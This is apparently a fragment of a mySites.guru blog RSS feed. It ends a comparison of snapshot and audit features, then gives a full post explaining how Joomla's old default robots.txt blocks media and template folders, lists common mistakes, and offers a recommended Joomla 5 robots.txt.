&lt;td&gt;&lt;strong&gt;What it checks&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Config, settings, headers, users, extension versions&lt;/td&gt;
&lt;td&gt;Every file and line of code in the webspace&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Number of checks&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;140+&lt;/td&gt;
&lt;td&gt;26-30 deep inspection tools&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Finds hacks?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Catches config red flags&lt;/td&gt;
&lt;td&gt;Yes - deep malware and backdoor detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;One-click fixes?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Yes, many checks have toggles&lt;/td&gt;
&lt;td&gt;Investigation tools for reviewing findings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Runs automatically?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Yes, twice daily&lt;/td&gt;
&lt;td&gt;Yes, on your chosen schedule&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;When should you use each one?&lt;/h2&gt;
&lt;p&gt;Snapshots are for daily monitoring. Are your sites configured correctly? Has anything drifted from best practice? Do any extensions need updating? You get answers twice a day without lifting a finger.&lt;/p&gt;
&lt;p&gt;Audits are for periodic security checks. They tell you whether any files on your server have been compromised, modified, or look suspicious. The audit is what catches the backdoor someone planted three months ago, or the mass mailer hiding in a forgotten uploads directory.&lt;/p&gt;
&lt;p&gt;You run both. Snapshots handle configuration and updates. Audits handle file-level threats.&lt;/p&gt;
&lt;h2&gt;Why the speed difference?&lt;/h2&gt;
&lt;p&gt;It comes down to what gets read. Snapshot tools pull a database value or check a single file - that&apos;s a millisecond operation. Audit tools open every file in the webspace and compare its contents against thousands of patterns. That takes real time, and it should.&lt;/p&gt;
&lt;p&gt;If you&apos;re managing a portfolio of WordPress or Joomla sites, having both running on schedule means you&apos;re covered on configuration drift and file-level threats without having to remember to check anything manually.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Start with a free audit&lt;/a&gt; and see where your sites stand.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Snapshots and audits are both covered in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;complete security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>snapshot</category><category>audit</category><category>security</category><category>wordpress</category><category>joomla</category><enclosure url="https://mysites.guru/_astro/snapshot-vs-audit-whats-the-difference.CV8gtdGm.png" length="0" type="image/png"/></item><item><title>How to Check if Your Joomla Site&apos;s robots.txt is Hurting Your SEO</title><link>https://mysites.guru/blog/how-to-check-joomla-robots-txt-seo/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-check-joomla-robots-txt-seo/</guid><description>Joomla&apos;s default robots.txt blocks media and template folders from search engines, killing your image SEO. Here&apos;s how to fix it.</description><pubDate>Wed, 18 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;There&apos;s a small text file sitting in the root of almost every Joomla site on the web. It&apos;s called &lt;code&gt;robots.txt&lt;/code&gt;, and there&apos;s a decent chance yours is actively hurting your search rankings without you knowing.&lt;/p&gt;
&lt;p&gt;The default &lt;code&gt;robots.txt&lt;/code&gt; that shipped with older Joomla versions tells Google to stay away from your &lt;code&gt;/media/&lt;/code&gt; and &lt;code&gt;/templates/&lt;/code&gt; folders. That means your images won&apos;t show up in Google Image Search, and Google can&apos;t properly render your pages to assess their quality. Both of those things cost you traffic.&lt;/p&gt;
&lt;p&gt;mySites.guru checks this automatically on every &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; across all your connected sites, flags the problem, and can fix it with a single click. But even if you&apos;re not using mySites.guru yet, this post covers how to audit your Joomla site&apos;s &lt;code&gt;robots.txt&lt;/code&gt; for SEO problems and fix what you find.&lt;/p&gt;
&lt;h2&gt;How Does mySites.guru Catch robots.txt Problems?&lt;/h2&gt;
&lt;h3&gt;Automatic snapshot check&lt;/h3&gt;
&lt;p&gt;Every time mySites.guru runs a &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; on your Joomla site (twice daily by default, or on demand) it reads your &lt;code&gt;robots.txt&lt;/code&gt; and checks whether the file contains &lt;code&gt;Disallow&lt;/code&gt; statements for &lt;code&gt;/media/&lt;/code&gt; or &lt;code&gt;/templates/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If either is found, the snapshot flags it as an issue: &quot;Your robots.txt File Should Not Restrict Media &amp;amp; Template Folders.&quot; The check appears in the Joomla Configuration section alongside other &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice&lt;/a&gt; checks, with a clear pass/fail indicator and trend tracking that shows whether the status has changed since the last snapshot.&lt;/p&gt;
&lt;p&gt;When the check passes, you get a clear green confirmation:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Deeper audit check&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;security audit&lt;/a&gt; goes further. During a full audit, mySites.guru reads every file on your webspace and checks whether your &lt;code&gt;robots.txt&lt;/code&gt; has been modified from the Joomla default. If it hasn&apos;t, the audit flags that too: &quot;Distributed robots.txt File Should Be Modified To Suit Your Site.&quot;&lt;/p&gt;
&lt;p&gt;This catches the broader problem of sites running completely unchanged defaults. Even if the default doesn&apos;t block &lt;code&gt;/media/&lt;/code&gt; (as in Joomla 5&apos;s default), it still lacks a &lt;code&gt;Sitemap&lt;/code&gt; directive and may not reflect your specific configuration.&lt;/p&gt;
&lt;h3&gt;One-click fix&lt;/h3&gt;
&lt;p&gt;When the check finds a problem, you get a clear warning with an &quot;Auto-Magically Fix This For Me&quot; button:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Click it and mySites.guru removes the &lt;code&gt;Disallow: /templates/&lt;/code&gt; and &lt;code&gt;Disallow: /media/&lt;/code&gt; lines from your robots.txt and saves the updated file back to your site.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If you need to make more detailed changes, mySites.guru also includes a full file editor for your robots.txt. You can view and edit the raw file contents with syntax-highlighted line numbers, then click Save to push the changes directly to your site:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Check all your sites at once with the pivot page&lt;/h3&gt;
&lt;p&gt;If you manage multiple Joomla sites, you don&apos;t need to open each one individually. The &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/mediaandtemplate&quot;&gt;robots.txt pivot page&lt;/a&gt; shows the status of this check across every connected Joomla site on a single screen. Each site shows either &quot;OK&quot; (green) or &quot;1 Issue&quot; (red), with &quot;Investigate&quot; and &quot;Manage Site&quot; buttons for quick action.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;For agencies and freelancers managing client portfolios, this view saves a lot of time. Instead of logging into each site&apos;s snapshot results, you can scan dozens or hundreds of sites in seconds and jump straight to the ones that need attention.&lt;/p&gt;
&lt;p&gt;You can also &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule automated audits&lt;/a&gt; so the deeper robots.txt analysis runs on a regular cadence without you having to remember to trigger it.&lt;/p&gt;
&lt;h2&gt;What Is robots.txt and Why Should You Care?&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;robots.txt&lt;/code&gt; file lives at &lt;code&gt;https://yourdomain.com/robots.txt&lt;/code&gt;. It&apos;s a plain text file that search engine crawlers read before they start indexing your site. The file contains simple directives: which user agents (crawlers) are addressed, which paths they&apos;re allowed to access, and which they should skip.&lt;/p&gt;
&lt;p&gt;Here&apos;s a simplified example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User-agent: *
Disallow: /administrator/
Disallow: /cache/
Disallow: /tmp/
Allow: /
Sitemap: https://example.com/sitemap.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;User-agent: *&lt;/code&gt; line means &quot;this applies to all crawlers.&quot; The &lt;code&gt;Disallow&lt;/code&gt; lines tell crawlers not to access those paths. The &lt;code&gt;Allow&lt;/code&gt; line explicitly permits everything else. The &lt;code&gt;Sitemap&lt;/code&gt; line points crawlers to your XML sitemap.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-900/30&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;robots.txt is advisory, not a security measure&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;Well-behaved crawlers like Googlebot honor robots.txt rules, but malicious bots ignore them entirely. Never rely on robots.txt to hide sensitive content. Use proper authentication and &amp;lt;a href=&quot;/blog/check-your-websites-security-headers-with-mysites-guru/&quot; class=&quot;underline&quot;&amp;gt;security headers&amp;lt;/a&amp;gt; instead.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Why should you care? Because one wrong line in this file can prevent Google from indexing entire sections of your site. Block the wrong folder and your images vanish from search results, your CSS and JavaScript become invisible to Google&apos;s rendering engine, and your pages might be assessed as broken or low quality.&lt;/p&gt;
&lt;p&gt;On the flip side, a well-configured &lt;code&gt;robots.txt&lt;/code&gt; helps search engines crawl your site efficiently. It tells them to skip admin directories they don&apos;t need, points them to your sitemap, and makes sure they can access every resource they need to render your pages properly.&lt;/p&gt;
&lt;h2&gt;What Is Wrong With Joomla&apos;s Default robots.txt?&lt;/h2&gt;
&lt;p&gt;Joomla has shipped a &lt;code&gt;robots.txt&lt;/code&gt; file with every release. The problem is that the default version was overly restrictive for years, and many sites are still running those old defaults.&lt;/p&gt;
&lt;h3&gt;The pre-3.4.0 mistake&lt;/h3&gt;
&lt;p&gt;This one affected a huge number of Joomla sites worldwide, and many are still living with the consequences over a decade later.&lt;/p&gt;
&lt;p&gt;Before Joomla 3.4.0 (released February 2015), the default &lt;code&gt;robots.txt&lt;/code&gt; that shipped with every Joomla installation included these lines:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Disallow: /media/
Disallow: /templates/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Those two lines told every search engine crawler: don&apos;t look at anything in the media folder, and don&apos;t look at anything in the templates folder. Every single Joomla site installed between September 2005 (Joomla 1.0) and February 2015 (Joomla 3.4.0) got this file by default. That&apos;s nearly ten years of installations.&lt;/p&gt;
&lt;p&gt;Think about what lives in those folders:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/media/&lt;/code&gt;&lt;/strong&gt; contains your uploaded images, CSS files, JavaScript libraries, and media assets that Joomla extensions place there. Blocking this folder means Google can&apos;t see any of those resources. Every image you&apos;ve carefully optimised, every product photo, every infographic - invisible to Google Image Search.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/templates/&lt;/code&gt;&lt;/strong&gt; contains your template&apos;s CSS, JavaScript, images, and font files. Blocking this folder means Google can&apos;t load your site&apos;s stylesheet or scripts when it tries to render the page. To Google&apos;s rendering engine, your site looks like raw unstyled HTML from the 1990s.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The issue came to a head in July 2015 when Google started actively penalising sites that blocked rendering resources. Google sent mass warning emails to every site registered in Search Console (which had just been rebranded from Google Webmaster Tools two months earlier) that was blocking CSS and JavaScript. Tens of thousands of Joomla site owners received that warning on the same day. The Joomla forums and community channels were flooded with confused administrators who had never touched their robots.txt and couldn&apos;t understand why Google was suddenly complaining.&lt;/p&gt;
&lt;p&gt;The Joomla project had already fixed the default &lt;code&gt;robots.txt&lt;/code&gt; in version 3.4.0 five months earlier, but the damage was done: sites that had already been installed kept the old file. And because Joomla&apos;s updater doesn&apos;t overwrite &lt;code&gt;robots.txt&lt;/code&gt; (more on that below), even sites that upgraded to 3.4+ kept the old restrictive rules unless someone manually edited the file.&lt;/p&gt;
&lt;h3&gt;Why old defaults stick around&lt;/h3&gt;
&lt;p&gt;Joomla doesn&apos;t overwrite &lt;code&gt;robots.txt&lt;/code&gt; during updates. When you upgrade from Joomla 3.3 to 3.4 (or from 3.x to 4.x, or 4.x to 5.x), your existing &lt;code&gt;robots.txt&lt;/code&gt; stays exactly as it was. The updated version ships as &lt;code&gt;robots.txt.dist&lt;/code&gt; so you can compare, but the actual file serving your site remains untouched.&lt;/p&gt;
&lt;p&gt;That means if you installed Joomla before version 3.4.0 and never manually edited your &lt;code&gt;robots.txt&lt;/code&gt;, those restrictive rules are still there. Your site could have been blocking Google from your images and CSS for over a decade.&lt;/p&gt;
&lt;p&gt;Even sites installed after 3.4.0 aren&apos;t always clean. Some hosting providers use outdated Joomla installation packages. Some site builders copy &lt;code&gt;robots.txt&lt;/code&gt; files from other projects without checking what&apos;s in them. And some well-meaning tutorials from 2013 still rank on page one of Google, telling people to add &lt;code&gt;Disallow: /media/&lt;/code&gt; for &quot;security reasons.&quot;&lt;/p&gt;
&lt;h3&gt;Real-world examples: even joomla.org gets this wrong&lt;/h3&gt;
&lt;p&gt;You&apos;d think the Joomla project&apos;s own website would have a clean robots.txt. It doesn&apos;t. As of March 2026, &lt;a href=&quot;https://www.joomla.org/robots.txt&quot;&gt;joomla.org&apos;s robots.txt&lt;/a&gt; blocks both &lt;code&gt;/media/&lt;/code&gt; and &lt;code&gt;/templates/&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Disallow: /media/
Disallow: /templates/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To work around this, whoever configured it added a series of Allow rules for specific file extensions using wildcard patterns:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Allow: /*.js***************
Allow: /*.css**************
Allow: /*.png**************
Allow: /*.jpg**************
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Those long chains of asterisks are unnecessary (a single &lt;code&gt;*&lt;/code&gt; does the same thing), and the whole approach is backwards. Instead of blocking entire directories and then trying to selectively allow file types back in, the correct approach is to simply not block &lt;code&gt;/media/&lt;/code&gt; and &lt;code&gt;/templates/&lt;/code&gt; in the first place. The joomla.org robots.txt also blocks &lt;code&gt;/components/&lt;/code&gt;, &lt;code&gt;/modules/&lt;/code&gt;, and &lt;code&gt;/plugins/&lt;/code&gt;, which can prevent crawlers from accessing frontend assets served by extensions.&lt;/p&gt;
&lt;p&gt;Another example: &lt;a href=&quot;https://www.akeeba.com/robots.txt&quot;&gt;akeeba.com&apos;s robots.txt&lt;/a&gt; has a commented-out Disallow for &lt;code&gt;/images/&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#Disallow: /images/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Someone clearly realised that blocking &lt;code&gt;/images/&lt;/code&gt; was a bad idea and commented it out rather than removing the line. But the file still blocks &lt;code&gt;/components/&lt;/code&gt; and &lt;code&gt;/plugins/&lt;/code&gt;, and it has no &lt;code&gt;Sitemap&lt;/code&gt; directive. It&apos;s also missing any &lt;code&gt;Allow&lt;/code&gt; rules for &lt;code&gt;/media/&lt;/code&gt; or &lt;code&gt;/templates/&lt;/code&gt;, though at least those aren&apos;t explicitly blocked either.&lt;/p&gt;
&lt;p&gt;These are prominent Joomla community sites maintained by experienced developers. If they can get this wrong, it&apos;s a safe bet that plenty of smaller sites have similar or worse configurations sitting unreviewed.&lt;/p&gt;
&lt;h2&gt;What Are the Five Most Common robots.txt Mistakes on Joomla Sites?&lt;/h2&gt;
&lt;p&gt;After analysing robots.txt configurations across thousands of Joomla sites through mySites.guru, these are the mistakes I see again and again.&lt;/p&gt;
&lt;h3&gt;1. Blocking /media/ and /templates/&lt;/h3&gt;
&lt;p&gt;This is the big one. As covered above, blocking these folders prevents Google from accessing your images, stylesheets, and scripts. The impact hits two areas:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Image SEO is dead.&lt;/strong&gt; If Google can&apos;t crawl your &lt;code&gt;/media/&lt;/code&gt; folder, your images won&apos;t appear in Google Image Search. For many sites, image search is a significant traffic source. Product images, portfolio photos, infographics, all invisible to Google.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Page rendering fails.&lt;/strong&gt; Google renders pages using a headless Chromium browser to assess layout, content visibility, and user experience. If it can&apos;t load your CSS and JavaScript, it sees a broken, unstyled page. That affects your Core Web Vitals scores and can hurt your rankings.&lt;/p&gt;
&lt;p&gt;You can verify this yourself. Open Google Search Console, go to the URL Inspection tool, and click &quot;Test Live URL.&quot; Then look at the rendered screenshot. If your page appears unstyled or broken, robots.txt blocking is a likely culprit.&lt;/p&gt;
&lt;h3&gt;2. No Sitemap directive&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;Sitemap&lt;/code&gt; line in robots.txt is one of the simplest SEO wins available, and most Joomla sites don&apos;t have it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Sitemap: https://example.com/sitemap.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This line tells every search engine that visits your &lt;code&gt;robots.txt&lt;/code&gt; exactly where to find your XML sitemap. Without it, crawlers rely on you manually submitting your sitemap through Google Search Console, Bing Webmaster Tools, and every other search engine&apos;s webmaster interface.&lt;/p&gt;
&lt;p&gt;With the &lt;code&gt;Sitemap&lt;/code&gt; directive, any crawler that reads your &lt;code&gt;robots.txt&lt;/code&gt; (Google, Bing, Yandex, DuckDuckGo, and others) automatically discovers your sitemap. One line, all search engines covered.&lt;/p&gt;
&lt;p&gt;If you&apos;re using a Joomla sitemap extension (and you should be), add the sitemap URL to your &lt;code&gt;robots.txt&lt;/code&gt;. If you&apos;re running multiple sitemaps or a sitemap index, you can add multiple lines:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Sitemap: https://example.com/sitemap.xml
Sitemap: https://example.com/sitemap-images.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Blocking /images/ and /components/&lt;/h3&gt;
&lt;p&gt;Some Joomla &lt;code&gt;robots.txt&lt;/code&gt; files block the &lt;code&gt;/images/&lt;/code&gt; directory. This is where Joomla&apos;s built-in media manager stores uploads by default (alongside &lt;code&gt;/media/&lt;/code&gt;). Blocking it has the same effect as blocking &lt;code&gt;/media/&lt;/code&gt;, and your uploaded content becomes invisible to search engines.&lt;/p&gt;
&lt;p&gt;I also see sites blocking &lt;code&gt;/components/&lt;/code&gt;, which contains the frontend output of Joomla components. If a component generates pages, images, or downloadable files through its own routes, blocking &lt;code&gt;/components/&lt;/code&gt; can prevent those from being indexed.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Don&apos;t do this
Disallow: /images/
Disallow: /components/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Overly broad wildcard rules&lt;/h3&gt;
&lt;p&gt;Some administrators add wildcard rules that accidentally block more than intended:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# This blocks everything starting with /t - including /templates/ AND /terms-of-service/
Disallow: /t
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Robots.txt patterns are matched by simple substring comparison from the start of the URL path. &lt;code&gt;Disallow: /t&lt;/code&gt; doesn&apos;t just block &lt;code&gt;/tmp/&lt;/code&gt;. It blocks every URL that starts with &lt;code&gt;/t&lt;/code&gt;, including valid content pages.&lt;/p&gt;
&lt;p&gt;The correct approach is to be specific and include trailing slashes for directories:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Disallow: /tmp/
Disallow: /cache/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. Using the unchanged Joomla default&lt;/h3&gt;
&lt;p&gt;Even the current Joomla 5 default &lt;code&gt;robots.txt.dist&lt;/code&gt; is designed as a starting point, not a finished configuration. It covers the basics (blocking &lt;code&gt;/administrator/&lt;/code&gt;, &lt;code&gt;/api/&lt;/code&gt;, &lt;code&gt;/cache/&lt;/code&gt;, &lt;code&gt;/cli/&lt;/code&gt;, &lt;code&gt;/tmp/&lt;/code&gt;, and similar system directories) but it doesn&apos;t include a &lt;code&gt;Sitemap&lt;/code&gt; directive, and it may not reflect your specific site structure.&lt;/p&gt;
&lt;p&gt;If your Joomla site uses SEF URLs (which it should), has a blog section, runs an e-commerce component, or serves content in multiple languages, you likely need a customised &lt;code&gt;robots.txt&lt;/code&gt; that accounts for your URL patterns.&lt;/p&gt;
&lt;h2&gt;How Do You Manually Check Your Joomla robots.txt?&lt;/h2&gt;
&lt;p&gt;If you want to audit your &lt;code&gt;robots.txt&lt;/code&gt; by hand, here&apos;s the process.&lt;/p&gt;
&lt;h3&gt;Step 1: view the file&lt;/h3&gt;
&lt;p&gt;Open your browser and go to &lt;code&gt;https://yourdomain.com/robots.txt&lt;/code&gt;. You&apos;ll see the raw text contents of the file. If you get a 404, your site doesn&apos;t have a &lt;code&gt;robots.txt&lt;/code&gt; file at all, which is a different problem (more on that later).&lt;/p&gt;
&lt;h3&gt;Step 2: look for red flags&lt;/h3&gt;
&lt;p&gt;Scan for these specific issues:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Disallow: /media/&lt;/code&gt;&lt;/strong&gt; - blocking your media assets from crawlers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Disallow: /templates/&lt;/code&gt;&lt;/strong&gt; - blocking your template CSS, JS, and images&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Disallow: /images/&lt;/code&gt;&lt;/strong&gt; - blocking uploaded images&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No &lt;code&gt;Sitemap:&lt;/code&gt; line&lt;/strong&gt; - missing sitemap reference&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Disallow: /&lt;/code&gt;&lt;/strong&gt; - blocking your entire site (yes, I&apos;ve seen this)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Broad patterns without trailing slashes&lt;/strong&gt; - like &lt;code&gt;Disallow: /t&lt;/code&gt; instead of &lt;code&gt;Disallow: /tmp/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step 3: test with Google Search Console&lt;/h3&gt;
&lt;p&gt;Google provides a robots.txt testing tool in Search Console. Submit your robots.txt content along with URLs you want to test, and it will tell you which URLs are blocked and which are allowed.&lt;/p&gt;
&lt;p&gt;Go to &lt;a href=&quot;https://search.google.com/search-console/&quot;&gt;Google Search Console&lt;/a&gt;, select your property, and use the URL Inspection tool to check whether specific pages are indexable or blocked by robots.txt.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-900/30&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;Subfolder installations need special handling&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;If your Joomla site is installed in a subfolder (e.g., &amp;lt;code&amp;gt;example.com/joomla/&amp;lt;/code&amp;gt;), the robots.txt file must be at the domain root (&amp;lt;code&amp;gt;example.com/robots.txt&amp;lt;/code&amp;gt;), and all paths must include the subfolder prefix: &amp;lt;code&amp;gt;Disallow: /joomla/administrator/&amp;lt;/code&amp;gt; instead of &amp;lt;code&amp;gt;Disallow: /administrator/&amp;lt;/code&amp;gt;.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;Step 4: compare against a recommended template&lt;/h3&gt;
&lt;p&gt;Here&apos;s a solid starting point for a Joomla 5 robots.txt:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User-agent: *
Disallow: /administrator/
Disallow: /api/
Disallow: /cache/
Disallow: /cli/
Disallow: /libraries/
Disallow: /tmp/
Disallow: /layouts/
Allow: /media/
Allow: /templates/
Allow: /images/

Sitemap: https://example.com/sitemap.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the explicit &lt;code&gt;Allow&lt;/code&gt; lines for &lt;code&gt;/media/&lt;/code&gt;, &lt;code&gt;/templates/&lt;/code&gt;, and &lt;code&gt;/images/&lt;/code&gt;. While an &lt;code&gt;Allow&lt;/code&gt; isn&apos;t strictly necessary if those paths aren&apos;t blocked, including them makes your intent clear and protects against future confusion if someone adds a broader rule later.&lt;/p&gt;
&lt;h2&gt;What about WordPress?&lt;/h2&gt;
&lt;p&gt;While this post focuses on Joomla, WordPress sites have their own robots.txt pitfalls. WordPress dynamically generates a virtual &lt;code&gt;robots.txt&lt;/code&gt; if no physical file exists, which is actually a reasonable default. But many WordPress users create physical &lt;code&gt;robots.txt&lt;/code&gt; files with overly restrictive rules, often blocking &lt;code&gt;/wp-content/uploads/&lt;/code&gt; (where all media uploads live) or &lt;code&gt;/wp-content/themes/&lt;/code&gt; (where template assets live).&lt;/p&gt;
&lt;p&gt;mySites.guru checks robots.txt on WordPress sites too. The same &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; process flags blocked asset directories regardless of which CMS you&apos;re running.&lt;/p&gt;
&lt;h2&gt;What Does Blocking Media Folders Actually Cost You?&lt;/h2&gt;
&lt;p&gt;The consequences go beyond missing images. When your robots.txt blocks &lt;code&gt;/media/&lt;/code&gt; and &lt;code&gt;/templates/&lt;/code&gt;, you lose Google Image Search traffic entirely - every product photo, portfolio image, and infographic becomes invisible. Your &lt;a href=&quot;https://mysites.guru/blog/how-to-test-your-site-performance-with-lighthouse-audits-in-mysites-guru/&quot;&gt;Lighthouse scores&lt;/a&gt; drop because Google&apos;s rendering engine can&apos;t load your CSS or JavaScript, so it sees a broken page and your Core Web Vitals suffer. Rich results (snippets, knowledge panels) disappear because Google can&apos;t render the page content needed to generate them. And since Google uses mobile-first indexing, a blocked &lt;code&gt;/templates/&lt;/code&gt; folder means the smartphone crawler sees an unresponsive layout, which is what gets used for ranking.&lt;/p&gt;
&lt;h2&gt;What Other robots.txt SEO Checks Should You Run?&lt;/h2&gt;
&lt;p&gt;A thorough robots.txt audit goes beyond just checking for blocked media folders. Here are additional things to verify:&lt;/p&gt;
&lt;h3&gt;Crawl budget efficiency&lt;/h3&gt;
&lt;p&gt;Large Joomla sites with thousands of pages need to manage their crawl budget, the number of pages Google will crawl on your site in a given time period. Your robots.txt should block:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/administrator/&lt;/code&gt; - Google doesn&apos;t need your admin panel&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/cache/&lt;/code&gt; - temporary cached files&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/tmp/&lt;/code&gt; - temporary upload directory&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/cli/&lt;/code&gt; - command-line scripts&lt;/li&gt;
&lt;li&gt;URL parameters that create duplicate content (e.g., print views, sort parameters)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Multiple User-agent blocks&lt;/h3&gt;
&lt;p&gt;If you want different rules for different crawlers (e.g., blocking a specific AI crawler but allowing Googlebot), you can use multiple User-agent blocks:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User-agent: *
Disallow: /administrator/

User-agent: GPTBot
Disallow: /

User-agent: Googlebot
Allow: /
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;More specific User-agent blocks take precedence for the matching crawler. Googlebot will follow the Googlebot-specific rules and ignore the &lt;code&gt;*&lt;/code&gt; wildcard block.&lt;/p&gt;
&lt;h3&gt;Monitoring for changes&lt;/h3&gt;
&lt;p&gt;Your robots.txt should be treated as a living configuration file. Changes to your site structure, new extensions, URL rewrites, and CMS updates can all affect what should be in it. mySites.guru&apos;s trend tracking flags when your robots.txt changes between snapshots, so you&apos;ll know immediately if a plugin, an update, or a well-meaning colleague modified the file.&lt;/p&gt;
&lt;h2&gt;What Does a Good robots.txt Look Like for Joomla 5?&lt;/h2&gt;
&lt;p&gt;Based on the patterns we see across thousands of sites, here is a solid, production-ready robots.txt for a standard Joomla 5 installation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# robots.txt for Joomla 5
# Generated for: example.com
# Last updated: 2026-03-06

User-agent: *

# Block admin and system directories
Disallow: /administrator/
Disallow: /api/
Disallow: /cache/
Disallow: /cli/
Disallow: /libraries/
Disallow: /tmp/
Disallow: /layouts/

# Explicitly allow asset directories
Allow: /media/
Allow: /templates/
Allow: /images/
Allow: /plugins/

# Block common parameter-based duplicate content
Disallow: /*?format=feed
Disallow: /*?start=
Disallow: /*?print=

# Sitemap location
Sitemap: https://example.com/sitemap.xml
&lt;/code&gt;&lt;/pre&gt;
